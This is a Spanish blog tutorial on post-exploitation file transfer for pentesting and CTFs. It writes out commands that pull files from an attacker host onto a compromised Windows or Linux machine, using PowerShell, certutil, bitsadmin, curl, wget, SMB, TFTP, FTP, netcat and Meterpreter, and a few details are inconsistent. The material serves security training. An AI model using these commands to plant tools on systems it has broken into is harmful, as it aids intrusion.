La transferencia de archivos se considera uno de los pasos más importantes en la Post Exploitation (Post-Explotación). Por lo tanto, hoy en este artículo vamos a poner de relieve las diversas técnicas que pueden ser utilizados por el Pentester para transferir archivos a la máquina víctima (Windows y Linux)
La siguiente guía sobre la transferencia de archivos está muy enfocada a los que realizan Red teaming y Penetration testing y también entre los que resuelven los CTF en el campo de la seguridad. Así que vamos a ver las diferentes manera para transferir el archivo en la máquina de la víctima.
En resumen, estos son los datos de ejemplo:
- Máquina atacante: Parrot OS (Linux)
- Máquina víctima: Windows (Windows) y Parrot OS (Linux)
- Archivo a transferir: Putty.exe
Cabe resaltar que los comandos ejecutados en Windows deberían ejecutarse desde la misma shell de la máquina atacante. En estos ejemplos, los comandos fueron ejecutados desde el mismo ordenador Windows de ejemplo.
Tabla de contenido
Transferencia de Archivos Windows
IWR (Invoke-Web Request)
Máquina atacante: Vamos al directorio local desde donde se va a subir el archivo a la máquina víctima. El comando Python que se ejecuta con “SimpleHTTPServer” en el puerto 80 crea e inicia instantáneamente el servidor web para acceder y transferir los archivos en el directorio de trabajo actual en el que se abre. Este es uno de los métodos más simples para transferir archivos.
python -m SimpleHTTPServer 80
Máquina víctima: Abre una nueva pestaña en la terminal en Kali. Como ya hemos explotado la máquina víctima (por ejemplo, utilizando Metasploit), vamos a utilizar Netcat para recibir la conexión entrante de la máquina atacante. Una vez hecho esto, vamos a ejecutar el comando PowerShell en la máquina víctima para descargar el archivo de la máquina atacante en el directorio de salida dado. Al comprobar el directorio Temp
, se puede ver que el archivo putty.exe
que ha sido transferido.
nc -lvp 4444
powershell.exe -command iwr -Uri http://192.168.1.15/putty.exe -OutFile C:\Temp\putty.exe "
dir
Hay veces que se quiere hacer uso de comandos acortados. Por lo tanto, en lugar de -Outfile, haremos uso de -o para mencionar la ruta de salida como se muestra a continuación. Puedes ver que usando este comando, puedes descargar el archivo putty.exe
de la máquina atacante.
powershell.exe iwr -uri 192.168.1.15/putty.exe -o C:\Temp\putty.exe
Hay otro método para utilizar el mismo comando de la manera más corta posible. Así que aquí tienes que ejecutar PowerShell en la máquina víctima e introducir el comando como se muestra en la imagen siguiente.
powershell
iwr -uri 192.168.1.15/putty.exe -o C:\Temp\putty.exe
dir
Certutil
El propósito de certutil era originalmente para la gestión de certificados y CA, pero también puede ser utilizado para la transferencia de archivos.
Máquina atacante: Podemos utilizar el mismo servidor SimpleHTTP en el puerto 80 de la máquina atacante para enviar el archivo desde ese directorio.
Máquina víctima: Hacer uso del siguiente comando para descargar el archivo desde la máquina atacante. Para el comando, ha mencionado la dirección IP/archivo y luego el nombre del archivo de salida. El -f en el comando generalmente fuerza la sobreescritura.
certutil -urlcache -f http://192.168.1.2/putty.exe putty.exe
El mismo comando puede usarse con un -split
adicional que divide a los elementos ASN.1 incrustados y luego los guarda en archivos.
certutil -urlcache -split -f http://192.168.1.2/putty.exe putty.exe
Bitsadmin
Máquina de la víctima: El parámetro /transfer
en bitsadmin es una de las formas más sencillas de descargar el archivo de la máquina atacante. Al principio, necesitamos definir el nombre de visualización de la transferencia. Aquí lo nombramos como job.
Después de definir el nombre, ahora coloca la ruta del archivo a descargar, es decir, putty.exe
en la máquina atacante. Al final, introduce el nombre del archivo a descargar y la ruta de salida que hemos llamado putty.exe
bitsadmin /transfer job https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe C:\Temp\putty.exe
Curl
Curl es una herramienta de línea de comandos de Linux que se utiliza para compartir datos de un servidor a otro y que ahora también está disponible en el CMD de Windows.
Máquina atacante: Podemos utilizar el mismo servidor SimpleHTTP en el puerto 80 de la máquina atacante para enviar el archivo desde ese directorio.
Máquina víctima: En la máquina víctima, ejecuta el siguiente comando para descargar el archivo desde la máquina atacante.
curl http://192.168.1.15/putty.exe -o putty.exe
dir
Wget
Su trabajo es recuperar el contenido de los servidores web disponibles. Ahora descargaremos un archivo desde la máquina atacante usando PowerShell en la máquina víctima.
Máquina atacante: Ejecuta el servidor SimpleHTTP en el puerto 80 de la máquina atacante para enviar el archivo desde ese directorio.
Máquina víctima: Abre Powershell en la máquina Windows y ejecuta el siguiente comando. Menciona la ruta desde la que se descargará el archivo y, a continuación, indique la ruta de salida para guardar el archivo putty.exe.
powershell
wget http://192.168.1.15/putty.exe -OutFile putty.exe
dir
Puede utilizar el mismo comando de forma diferente haciendo uso de PowerShell en el propio comando.
powershell.exe wget http://192.168.1.15/putty.exe -OutFile putty.exe
Powershell
En PowerShell tienes un comando para acceder a la shell en Windows que se puede utilizar para descargar cualquier archivo de servidor web. Ejecuta el siguiente comando en el Powershell de la máquina víctima como administrador.
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://192.168.1.15/putty.exe', 'putty.exe')
SMB Server
SMB es un protocolo destinado a la comunicación para proporcionar acceso compartido a los archivos, puertos, etc. en una red. Veamos cómo podemos utilizarlo para transferir archivos desde la máquina atacante a la máquina víctima.
Máquina atacante: En el atacante, la máquina va al directorio desde el que se va a transferir el archivo. Entonces vamos a hacer uso de Impacket-smbserver para compartir este archivo desde la máquina local. La importancia del share
aquí es que convierte la larga ruta del archivo en un único directorio compartido. El mismo comando impacket puede ser ejecutado de dos maneras. Veremos cada una de ellas, una tras otra.
En el comando de abajo compartimos el archivo del directorio, pero en lugar de mencionar la ruta completa, escribimos pwd
que significa el directorio de trabajo actual.
impacket-smbserver share $(pwd) -smb2support
A la hora de utilizar el comando de forma diferente, la única variación es que mencionamos el directorio actual en el comando como se muestra a continuación:
impacket-smbserver share /root/Descargas/test -smb2support
Máquina víctima
En la máquina víctima, para descargar el archivo de la máquina atacante se utiliza el comando copy
.
copy \\192.168.1.15\share\putty.exe
dir
También puedes hacer uso del comando net
use para conectarte a la carpeta compartida. A continuación, utiliza el comando copy
para descargar el archivo de la máquina atacante.
net use \\192.168.1.15\share
net use
copy \\192.168.1.15\share\putty.exe
dir
impacket (este enlace se abre en una nueva ventana) por fortra (este enlace se abre en una nueva ventana)
Impacket is a collection of Python classes for working with network protocols.
El comando para la máquina atacante, seria el siguiente:
python3 smbserver.py share /root/test -smb2support
TFTP
El servicio TFTP se utiliza para leer y escribir los archivos de la conexión remota, que funciona en el puerto 69 estableciendo una conexión UDP.
Máquina atacante: En la máquina atacante, vamos a crear un directorio y alojar el archivo putty.exe
Ahora, abramos Metasploit y utilicemos el módulo TFTP existente para compartir archivos. Aquí es necesario introducir la dirección IP de la máquina atacante y también la ruta del directorio para descargar el archivo y explotar.
Máquina víctima: En la máquina víctima, para descargar el archivo desde la máquina atacante se hace uso del comando TFTP. Ahora puedes ver el putty.exe en el sistema víctima.
tftp -i 192.168.1.15 GET putty.exe
FTP
FTP significa File Transfer Protocol (Protocolo de Transferencia de Archivos) cuyo trabajo es compartir archivos a través de los sistemas. Usando FTP puedes descargar el archivo en el sistema de Windows de la víctima poniendo el nombre de usuario y la contraseña correctos como se muestra a continuación. Puedes utilizar el comando get
si hay más de un archivos presente requerido.
ftp 192.168.1.15
get file.txt
dir
Transferencia de archivos Linux
HTTP
Ha sido uno de los métodos más favorables para la transferencia de archivos. Veamos las diversas formas en que podemos utilizar HTTP para transferir archivos.
Servidor web PHP
Máquina atacante: El comando PHP se utiliza para iniciar el escuchador/listener HTTP para compartir archivos, yendo al directorio donde está el archivo y ejecutándolo.
php -S 0.0.0.0:8080
Máquina de la víctima: En el navegador web de la máquina víctima hay que escribir la dirección IP del atacante con su número de puerto y el nombre del archivo para descargarlo de la máquina atacante.
192.168.1.15:8080/putty.exe
Apache
Máquina atacante: El servicio Apache debe ser activado en tu máquina antes de transferir el archivo a través de los directorios web y luego mover cualquier archivo en el directorio HTML para compartirlo. Luego reinicia el servicio apache.
cp putty.exe /var/www/html
service apache2 restart
Máquina de la víctima: En el navegador web de la máquina víctima hay que mencionar la dirección IP del atacante y el nombre del archivo para descargarlo desde la máquina atacante.
192.168.1.15/putty.exe
Simple HTTP server
Máquina atacante: Vamos al directorio local desde donde se va a subir el archivo a la máquina víctima. El comando Python que se ejecuta con SimpleHTTPServer
en el puerto 8000 crea e inicia instantáneamente el servidor web para acceder y transferir los archivos en el directorio de trabajo actual en el que se abre. Este es uno de los métodos más simples para transferir archivos.
python -m SimpleHTTPServer
Si tienes la versión Python3 también puedes usar el comando como se muestra en la imagen de abajo.
python3 -m http.server 8000
Máquina víctima: En el navegador web de la máquina víctima hay que mencionar la dirección IP del atacante y el número de puerto para listar el contenido del directorio para descargar el archivo de la máquina atacante.
192.168.1.15:8080
Curl
Es una herramienta de línea de comandos que se utiliza para transferir datos. También se utiliza para descargar los datos de la máquina del atacante.
Máquina víctima: Ahora ejecuta el siguiente comando para descargar el archivo en la máquina víctima.
curl -O http://192.168.1.15/putty.exe
Wget
También es una herramienta de línea de comandos de Linux que se utiliza para descargar el archivo desde la máquina del atacante.
Máquina víctima: Ahora ejecuta el siguiente comando para descargar el archivo en la máquina víctima.
wget 192.168.1.15/putty.exe
Netcat
Netcat es conocido como la navaja suiza que se utiliza para múltiples propósitos por lo que vamos a utilizarlo en la transferencia de archivos.
Máquina atacante: Utiliza el siguiente comando para descargar el archivo de la máquina atacante
nc -lvp 5555 > archivo.txt
Máquina víctima: Ahora en la máquina víctima ejecute el siguiente comando para descargar el archivo.
nc 192.168.1.15 5555 < archivo.txt
Ahora puedes descargar el archivo para leer tu contenido.
SCP
SCP es el acrónimo de Secure Copy Protocol (protocolo de copia segura) que sirve para transferir archivos de forma segura entre el host local y un host remoto. Se basa en el protocolo SSH.
Máquina atacante: Crea un nuevo archivo miarchivo.txt
y luego transfiere este archivo a una máquina remota con la ayuda del siguiente comando.
scp file.txt kali@192.168.1.15:/tmp
Máquina víctima: En la máquina víctima, ve al directorio /temp
y utiliza el comando cat
para leer el contenido del archivo.
SMB-Client
Máquina atacante: El servicio smbclient puede ser utilizado para acceder a la carpeta compartida del servidor smb. Vamos a ejecutar el comando que se indica a continuación para acceder a la carpeta compartida del servidor.
smbclient -L 192.168.1.15 -U esgeeks
smbclient //192.168.1.15/share -U password
Máquina víctima: A continuación, vamos a comprobar el archivo en el directorio compartido. Podemos descargarlo usando el comando get
y leer su contenido usando el comando cat
.
Meterpreter
Máquina del atacante: Al comprometer la máquina de la víctima, utilizando meterpreter podemos ejecutar el siguiente comando para descargar el archivo de la máquina del atacante.
meterpreter > download putty.exe /home/esgeeks
FTP
Máquina atacante: Ahora vamos a instalar la biblioteca python-FTP usando el comando pip
. Luego usa el comando python3
para compartir el archivo usando FTP. Establece un nombre de usuario y una contraseña para ello.
pip install pyftpdlib
python3 -m pyftpdlib -p 21 -u esgeeks -P root
Máquina víctima: En la máquina víctima utiliza el comando FTP con la dirección IP de la máquina del atacante, introduce el nombre de usuario y la contraseña. Utilizando el comando get
, puedes descargar el archivo en la máquina víctima.
ftp 192.168.1.5
También puedes descargar el archivo en la máquina víctima desde el navegador, introduciendo el nombre de usuario y la contraseña.
Aquí puedes ver el directorio listado y el archivo está listo para descargar.
ftp://192.168.1.5
Conclusión
En esta publicación hemos examinado algunos métodos que puedes utilizar para transferir archivos hacia y desde una máquina objetivo utilizando algunas de las técnicas de post explotación publicadas en este blog.
El contenido está inspirado en la publicación original de Jeenali Kothari, una entusiasta de la ciencia forense digital que disfruta escribiendo contenido técnico.